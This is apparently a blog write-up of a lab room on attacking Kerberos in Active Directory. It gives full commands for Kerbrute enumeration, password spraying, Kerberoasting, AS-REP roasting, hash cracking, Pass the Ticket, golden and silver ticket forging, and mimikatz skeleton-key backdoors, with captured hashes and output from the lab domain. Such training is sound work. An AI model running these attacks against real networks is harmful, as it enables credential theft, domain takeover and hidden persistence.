LEARN >> Attacking Kerberos

stimpz0r
Table of Contents

This room will cover the basics of attacking Kerberos – the Windows Ticket-Granting Service!

The room will cover the following:

  • Initial enumeration, using tools like Kerbrute and Rubeus
  • Kerberoasting
  • AS-REP Roasting with Rubeus and Impacket
  • Golden / Silver Ticket Attacks
  • Pass the Ticket
  • Skeleton key attacks using mimikatz

Resources

Task 1 – Introduction

What is Kerberos?

Kerberos is the default authentication service for Microsoft Windows domains. It is intended to be more "secure" than NTLM because it uses third party ticket authorization as well as stronger encryption, but unlike NTLM (which has a tonne of attack vectors), Kerberos only has a few… but we can still use these to our advantage!

Common Terminology

  • Ticket-Granting Ticket (TGT) – A ticket-granting ticket is an authentication ticket used to request service tickets from the TGS for specific resources from the domain.
  • Key Distribution Center (KDC) – The Key Distribution Center is a service for issuing TGTs and service tickets that consist of the Authentication Service and the Ticket Granting Service.
  • Authentication Service (AS) – The Authentication Service issues TGTs to be used by the TGS in the domain to request access to other machines and service tickets.
  • Ticket Granting Service (TGS) – The Ticket Granting Service takes the TGT and returns a ticket to a machine on the domain.
  • Service Principal Name (SPN) – A Service Principal Name is an identifier given to a service instance to associate a service instance with a domain service account. Windows requires that services have a domain service account which is why a service needs an SPN set.
  • KDC Long Term Secret Key (KDC LT Key) – The KDC key is based on the KRBTGT service account. It is used to encrypt the TGT and sign the PAC.
  • Client Long Term Secret Key (Client LT Key) – The client key is based on the computer or service account. It is used to check the encrypted timestamp and encrypt the session key.
  • Service Long Term Secret Key (Service LT Key) – The service key is based on the service account. It is used to encrypt the service portion of the service ticket and sign the PAC.
  • Session Key – Issued by the KDC when a TGT is issued. The user will provide the session key to the KDC along with the TGT when requesting a service ticket.
  • Privilege Attribute Certificate (PAC) – The PAC holds all of the user’s relevant information, it is sent along with the TGT to the KDC to be signed by the Target LT Key and the KDC LT Key in order to validate the user.

AS-REQ with Pre-Authentication – In Detail

The AS-REQ step in Kerberos authentication starts when a client requests a TGT from the KDC. In order for the KDC to validate and create a TGT for the client:

  • The client encrypts a timestamp using NT hash and sends it to the AS
  • The KDC attempts to decrypt the timestamp using the NT hash from the client.
  • If successful the KDC will issue the client a TGT and Session Key.

Ticket-Granting Ticket (TGT) Contents

This is a sample TGT provided by the KDC once the initial request (AS-REQ) is sent by the client to the KDC. It is signed with the Service LT Key and the KDC LT Key. The Session Key is also sent along with this ticket which is used to request a Service Ticket from the KDC.

Service Ticket Contents

A Service Ticket contains two portions: the service provided portion and the client provided portion. These contain:

  • Service Portion – contains User Details & Session Key, Encrypts the ticket with the service account NTLM hash.
  • User Portion – contains the Validity Timestamp &* Session Key*, Encrypts with the TGT Session Key.

Kerberos Authentication Overview

  1. (AS-REQ) – The client requests an Authentication Ticket or Ticket-Granting Ticket (TGT)
  2. (AS-REP) – The Key Distribution Centre (KDC) verifies the client and sends back an encrypted TGT and Session Key
  3. (TGS-REQ) – The client sends the encrypted TGT to the Ticket Granting Server (TGS) with the Service Principal Name (SPN) of the service the client wants to access.
  4. (TGS-REP) – The KDC verifies the TGT of the user and that the user has access to the given service, then sends back a valid Session Key for the service to the client.
  5. (AP-REQ) – The client requests the service and sends the valid Session Key to prove it has access.
  6. (AP-REP) – The service grants the client access

Kerberos Tickets Overview

The main ticket you will see is a TGT, these can come in various forms, such as .kirbi for Rubeus or .ccache for Impacket, with .kirbi being the most common. A ticket is typically base64 encoded and can be used for various attacks. A normal TGT will only work wit hthat given service account that it is connected to, whereas a KRBTGT will allow you to get any service tick you want, allowing you access to anything on the domain that you want.

Attack Privilege Requirements

  • Kerbrute Enumeration – No domain access required
  • Pass the Ticket – Access as a user to the domain required
  • Kerberoasting – Access as any user required
  • AS-REP Roasting – Access as any user required
  • Golden Ticket – Full domain compromise (domain admin) required
  • Silver Ticket – Service hash required
  • Skeleton Key – Full domain compromise (domain admin) required




Task 2 – Enumeration w/ Kerbrute

Kerbrute Github – https://github.com/ropnop/kerbrute

Kerbrute is a popular enumeration tool used to brute-force and enumerate valid Active Directory users by abusing the Kerberos pre-authentication.

This task requires us to start up the room’s machine and run the following command on our attack machine (Linux):
kerbrute userenum --dc CONTROLLER.local -d CONTROLLER.local User.txt

User.txt = https://github.com/Cryilllic/Active-Directory-Wordlists/blob/master/User.txt

NOTE: You MUST add the hostname and IP to your /etc/hosts file for Kerbrute to work.

sudo echo "$IP  $DOMAIN" >> /etc/hosts

Kerbrute Results

❯ kerbrute userenum --dc CONTROLLER.local -d CONTROLLER.local User.txt

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: dev (n/a) - 11/18/21 - Ronnie Flathers @ropnop

2021/11/18 12:48:35 >  Using KDC(s):
2021/11/18 12:48:35 >   CONTROLLER.local:88

2021/11/18 12:48:36 >  [+] VALID USERNAME:  admin1@CONTROLLER.local
2021/11/18 12:48:36 >  [+] VALID USERNAME:  administrator@CONTROLLER.local
2021/11/18 12:48:41 >  [+] admin2 has no pre auth required. Dumping hash to crack offline:
$krb5asrep$18$admin2@CONTROLLER.LOCAL:a5bab1c34f5cd2a984b0ffd44371249f$6e547ad46dccf6752754e4af95d9c9c7a6831db6cea2adc20a4e4cfe74e8559b8519163856e1f0b19864ca5515a063e994a554e386747530598bcb4a39e97be8b5a67b1645e80a8bd0b73a7dfa9c7dff15ac70363447e90bd984392aed68b078c29b2683826aaf243c7cc09c774b47ff2095c0688df1ffcb550ee1a34631e66ff89ea435b81332f3ab52efaa4e7a1e5d8b5f48550da296ce928679cdffca37c284e64ecc4b2eac6d080d3ff21c8cf15a122f1c420047f173d0f5a457d31bd7486baabf3390b8e33b7c0e8593172c91d655f96fdf90328b6c0672edbfbbba27f353fc8381089f4ef3f674724285377955d2ae61069561fdbc8668c4eca51b162ee9eef88725a00068
2021/11/18 12:48:41 >  [+] VALID USERNAME:  admin2@CONTROLLER.local
2021/11/18 12:48:41 >  [+] VALID USERNAME:  httpservice@CONTROLLER.local
2021/11/18 12:48:41 >  [+] VALID USERNAME:  machine2@CONTROLLER.local
2021/11/18 12:48:41 >  [+] VALID USERNAME:  machine1@CONTROLLER.local
2021/11/18 12:48:42 >  [+] VALID USERNAME:  sqlservice@CONTROLLER.local
2021/11/18 12:48:42 >  [+] VALID USERNAME:  user1@CONTROLLER.local
2021/11/18 12:48:42 >  [+] VALID USERNAME:  user2@CONTROLLER.local
2021/11/18 12:48:42 >  [+] user3 has no pre auth required. Dumping hash to crack offline:
$krb5asrep$18$user3@CONTROLLER.LOCAL:06adea8e6c85f70e73238079391125f1$72a711812ab7aa956a5434243fefcdcde5141b3f80addaf1eec61c789cd2c1fcd275c5aed4fdf7d4c9c84594f79c65d0fb984eececee3587c34539bda4ab37f07c8f9084c4eff7a3e88c90eb6f5e992c35b4c5c259746f0def06c56c3855d4bd3b938fdab892e2ffd4f1b0b77a65d9f61eda30c9922cf8103540cbb66ab1daa25992b88c44967cd44905556dab31a6916736777486cef184ad069439268706caabaab5e8a82fdd9a8e9ef0e2d4f0fe6f4d0da3a1b88750c6e91579c995c6f8e412e28ba8f4bdb7c30ff7278af3aec1a23a7313ef1c7aa5b5f0e41954acc15cb1a269d29d450f6ea60a86f1cbe430d81bf034c5b329eefe78aa3bc03b67a9bf9ee971f1c4897ba050
2021/11/18 12:48:42 >  [+] VALID USERNAME:  user3@CONTROLLER.local
2021/11/18 12:48:43 >  Done! Tested 100 usernames (10 valid) in 7.702 seconds




Task 3 – Harvesting & Brute-Forcing Tickets w/ Rubeus

Rubeus Github – https://github.com/GhostPack/Rubeus

Rubeus is a powerful Windows tool for attacking Kerberos. Rubeus is an adaption of the kekeo tool and developed by Harmj0y, the very-well-known Active Directory guru.

Rubeus has a vast array of attacks and features that make it a very versatile tool for attacking Kerberos. Just some of the many tools and attacks that are included are:

  • over-pass-the-hash
  • ticket requests and renewals
  • ticket management
  • ticket extraction
  • havesting
  • pass the ticket
  • AS-REP roasting
  • kerberoasting

Harvesting Tickets

  • Rubeus.exe harvest /interval:30 – This command tells Rubeus to harvest for TGTs every 30 seconds.

Brute-Forcing / Pasword-Spraying

  • Rubeus.exe brute /password:Password1 /noticket – This will take a given password ("Password1") and "spray" it against all found users, then give the .kirbi TGT for that user.

NOTE: Before Password-Spraying with Rubeus, you must add the domain controller domain name to the Windows host file. You can add the IP and domain name using the following "echo" command:

echo <IP_ADDRESS> <DOMAIN_NAME> >> C:\Windows\System32\drivers\etc\hosts


Task 4 – Kerberoasting w/ Rubeus & Impacket

Kerberoasting is one of the most popular attacks. Kerberoasting allows a user to request a service ticket for any service with a registered SPN then use that ticket to crack the service password.

If the service has a registered SPN then it can be kerberoastable, however the strength of the password on the account can limit results.

To enumerate Kerberoastable accounts I would suggest using a tool like Bloodhound, it will let you see what kind of accounts you can Kerberoast if they are domain admins, and what kind of connections they have to the rest of the domain.

Kerberoasting w/ Rubeus

  • Rubeus kerberoast – This will dump the Kerberos hash of any Kerberoastable users
    • add /outfile:hash.txt to dump the results to a file named hash.txt

Kerberoasting w/ Impacket

  • sudo python3 GetUserSPNs.py <domain_name>/<domain_user>:<domain_user_password> -dc-ip <target_ip> -request -outputfile <hash_filename> – This will dump the Kerberos hashes much like Rubeus, but unlike Rubues (which only runs locally on the target machine), Impacket can be used remotely.

NOTE: GetUserSPNs.py is stored in the examples/ folder of Impacket

Cracking the hashes!

  • hashcat – hashcat -m 13100 -a 0 <hash_filename> <password_list>
  • JohnTheRipper – john <hash_filename> --format=krb5tgs --wordlist=<password_list>

NOTE: John doesn’t like the format that Rubeus uses, so Impacket is the only way to crack via John if unable to use hashcat

What Can a Service Account do?

After cracking a Service Account password there are various ways of exfiltrating data or collecting loot depending on whether the Service Account is a Domain Admin or not.

  • If the Service Account IS a Domain Admin you have control similar to that of a Golden / Silver Ticket and can now gather loot such as dumping the NTDS.dit.
  • If the Service Account is NOT a Domain Admin you can use it to log into other systems and pivot or escalate, or alternatively you can use the cracked password to spray against other Service and Domain Accounts; many companies may reuse the same or similar passwords on their service or domain admin users.

NOTE: If you are in a professional pentest be aware of how the company wants you to show risk, most of the time they don’t want you to exfiltrate data and will set a goal or process for you to get in order to show risk inside of the assessment.

Kerberoasting Mitigation

  • Strong Service Passwords – If the Service Account passwords are strong, then Kerberoasting will be a lot more difficult (if not impossible).
  • Don’t make Service Accounts Domain Admins – Service Accounts do not need to be Domain Admins, Kerberoasting won’t be as effective if you stick to this rule.


Task 5 – AS-REP Roasting

Very similar to Kerberoasting, AS-REP Roasting dumps the krbaspre5 hashes of any user accounts known that have Kerberos pre-authentication disabled.

This task uses Rubeus and hashcat to dump the passwords and crack them, below that I have also included methods to use Impacket and JohnTheRipper (jumbo versions only – they are the only versions that have krb5 hash types) to crack the hash.

AS-REP Roasting w/ Rubeus

  • Rubeus asreproast – This will dump the vulnerable user hashes
    • optionally, you can include /outfile:hash.txt and either /format:<[hashcat | john]> to specify the format you wish to dump the output in

AS-REP Roasting w/ Impacket

  • python GetNPUsers.py <domain_name>/<domain_user>:<domain_user_password> -dc-ip <target_ip> -request -format <[hashcat | john]> -outputfile hash.txt
    • optionally, you can include -usersfile User.txt and remove the <domain_user>:<domain_user_pass> if you don’t have any credentials

Cracking the hashes!

  • hashcat – hashcat -m 18200 -a 0 hash.txt Pass.txt

  • JohnTheRipper – john hash.txt --wordlist=Pass.txt (it will autodetect krb5asrep)

    John doesn’t like the format that Rubeus uses, so Impacket is the only way to crack via John if unable to use hashcat

ASP-REP Roasting Mitigation

  • Strong Passwords – as with Kerberoasting, strong passwords make this attack much less effective.
  • Don’t turn off Kerberos Pre-Authentication – disabling Kerberos Pre-Authentication is the main vulnerability that this method takes advantage of… without Kerberos Pre-Authentication disabled this method is useless.





Task 6 – Pass the Ticket w/ mimikatz

Mimikatz is a very popular and powerful post-exploitation tool most commonly used for dumping user credentials inside of an Active Directory network. In this task we will be using mimikatz to dump a TGT from LSASS memory for a Pass the Ticket attack.

Pass the Ticket

Pass the Ticket (PTT) works by dumping the TGT from the LSASS memory of the machine. The Local Security Authority Subsystem Service (LSASS) is a Windows process (lsass.exe) that stores credentials in memory on an Active Directory server, and can store Kerberos tickets along with other credential types to act as the gatekeeper and accept or reject the credentials provided.

You can dump the Kerberos tickets from LSASS memory just like you can dump hashes. When you dump the tickets with mimikatz it will give us a .kirbi ticket which be used to gain Domain Admin, if a Domain Admin ticket is currently in the LSASS memory.

This attack is great for privilege escalation and lateral movement if there are unsecured domain services account tickets laying around. The attack allows you to escalate to Domain Admin if you dump a Domain Admin’s ticket and then impersonate that ticket using mimikatz PTT attack, allowing you "act" as that Domain Admin.

You can think of a PTT attack like reusing an existing ticket, we are not creating or destroying any tickets here, we are simply reusing an existing ticket from another user on the domain and impersonating that ticket.

Pass the Ticket w/ mimikatz

  • mimikatz.exe to start mimikatz
  • before stating, run privilege::debug – if it outputs Privilege '20' OK then you have the necessary privileges to do the attack.
  • sekurlsa::tickets /export – this will dump all .kirbi tickets it can find in memory into the current working directory in a base64 encoded format.
  • check the dumped files, preferrably looking for an "Administrator" account from "krbtgt" (Administrator@krbtgt) – these are most likely Domain Admin account.

  • kerberos:ptt <kirbi_file> – this will cache and impersonate the .kirbi ticket you have provided.

    when you have quit mimikatz, use the command klist to check your currently cached tickets… you should see the one you selected at the top of the list.

Pass the Ticket Mitigation

  • Don’t let your Domain Admins log into any other machine besides the Domain Controller – This is something so simple, but unfortunately abused on a lot of Active Directory networks.

Task 7 – Golden/Silver Ticket Attacks w/ mimikatz

In this task, we will be using mimikatz to create a Silver Ticket.

Silver Tickets vs. Golden Tickets

A Silver Ticket can sometimes be better used in engagements rather than a Golden Ticket because it is a little more discreet. If stealth and staying undetected matter than a Silver Ticket is probably a better option than a Golden Ticket, however creating one is the exact same. The key difference between the two tickets is that a Silver Ticket is limited to the service that it is targeted at, whereas a Golden Ticket has access to everything.

A specific use scenario for a Silver Ticket would be that you want to access the domain’s SQL server, however your currently compromised user does not have access to that server. You can find an accessible service account to get a foothold with by Kerberoasting that service, you can then dump the service hash and then impersonate their TGT in order to request a service ticket for the SQL service from the KDC, allowing you access to the domain’s SQL server.

KRBTGT

In order to fully understand how these attacks work, you need to first understand the difference between a KRBTGT and a TGT. A KRBTGT is the service account for the KDC, the same service that issues all of the tickets to the clients. If you impersonate this account and create a Golden Ticket from the KRBTGT, you give yourself the ability to create a service ticket for anything you want. A TGT is a ticket to a service account issued by the KDC, and can only access that service the TGT is for.

Golden / Silver Ticket Attack

A Silver Ticket attack works by dumping the TGT of any user on the domain (this would preferably be a Domain Admin), however for a Golden Ticket you would need to dump the KRBTGT ticket. This will provide you with the service / domain admin account’s Security Identifier (SID), which is a unique identifier for each user account. You will also get the users NTLM hash. You then use these details in mimikatz to craft the relevant ticket to impersonate a domain / service admin.

Golden Ticket w/ mimikatz

  • mimikatz.exe to start mimikatz
  • privilege::debug – ensure this outputs Privilege '20' ok
  • lsadump::lsa /inject /name:krbtgt – This will dump the hash as well as the security identifier needed to create a Golden Ticket.
  • kerberos::golden /user:<User> /domain:<Domain> /sid:<SID> /krbtgt:<NTLM_Hash> /id:<User_ID> /ptt – This is the command for creating a Golden Ticket. You need to replace the <User> and <Domain> with the user and domain details for the current AD setup, replace <SID> with the string starting with S-1-5... in the previous screenshot, replace <NTLM_Hash> with the value next to NTLM: under * Primary in the above screenshot, and finally replace the <User_ID> with the number in brackets after RID.
mimikatz # kerberos::golden /user:Administrator /domain:CONTROLLER.local /sid:S-1-5-21-432953485-3795405108-1502158860 /krbtgt:72cd714611b64cd4d5550cd2759db3f6 /id:502 
User      : Administrator 
Domain    : CONTROLLER.local (CONTROLLER)
SID       : S-1-5-21-432953485-3795405108-1502158860
User Id   : 502
Groups Id : *513 512 520 518 519
ServiceKey: 72cd714611b64cd4d5550cd2759db3f6 - rc4_hmac_nt
Lifetime  : 11/19/2021 10:01:10 PM ; 11/17/2031 10:01:10 PM ; 11/17/2031 10:01:10 PM
-> Ticket : ** Pass The Ticket **

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Golden ticket for 'Administrator @ CONTROLLER.local' successfully submitted for current session

the /ptt switch will automatically use Pass the Ticket to enable the new credentials, so you don’t need to do anything else – you can also leave this off and then run misc::cmd to patch cmd.exe with the new credentials.

  • quit out of mimikatz and use the command klist to check the currently impersonated ticket.

Silver Ticket w/ mimikatz

  • the initial steps are the same as a Golden Ticket, however instead of /name:krbtgt use /name:<Service_Account>, where <Service_Account> could be SQLService as an example.
  • to generate the Silver Ticket, we use an almost identical command as a Golden Ticket (we even use kerberos::golden, even though we are generating a Silver Ticket) – the only difference is instead of /krbtgt: we use /rc4: in front of the NTLM hash: kerberos::golden /user:<User> /domain:<Domain> /sid:<SID> /rc4:<NTLM_Hash> /id:<User_ID> /ptt
controller\administrator@CONTROLLER-1 C:\Users\Administrator\Downloads>klist

Current LogonId is 0:0x29bfce

Cached Tickets: (1)

#0>     Client: SQLService @ CONTROLLER.local
        Server: krbtgt/CONTROLLER.local @ CONTROLLER.local
        KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
        Ticket Flags 0x40e00000 -> forwardable renewable initial pre_authent
        Start Time: 11/19/2021 22:28:35 (local)
        End Time:   11/17/2031 22:28:35 (local)
        Renew Time: 11/17/2031 22:28:35 (local)
        Session Key Type: RSADSI RC4-HMAC(NT)
        Cache Flags: 0x1 -> PRIMARY
        Kdc Called:


Task 8 – Kerberos Backdoors w/ mimikatz

Along with maintaining access using Golden and Silver Tickets, mimikatz has one other very useful trick up it’s sleeve when it comes to attacking Kerberos. Unlike the Golden and Silver Ticket attacks, a Kerberos backdoor is much more subtle because it acts similar to a rootkit by implanting itself into the memory of the domain forest, allowing itself access to any of the machines with one master password.

The Kerberos backdoor works by implanting a "skeleton key" that abuses the way that AS-REQ validates encrypted timestamps. A skeleton key only works using Kerberos RC4 encryption.

The default hash for a mimikatz skeleton key is 60BA4FCADC466C7A033C178194C03DF6 which makes the password "mimikatz".

Skeleton Key

The skeleton key attack works by abusing the AS-REQ encrypted timestamps. Usually the timestamp is encrypted with the user’s NT hash, and the Domain Controller tries to decrypt this timestamp with the same user’s NT hash. However; when the skeleton key is implanted the Domain Controller tries to decrypt the timestamp with both the user’s NT hash and the skeleton key’s NT hash… therefore allowing you to acces anything with the master password mimikatz.

Skeleton Key w/ mimikatz

  • start mimikatz and check the privilege::debug output for Privilege '20' OK to ensure you will be able to implant the skeleton key.
  • misc::skeleton – yes, thats it! 😉

Leave a Reply

Your email address will not be published. Required fields are marked *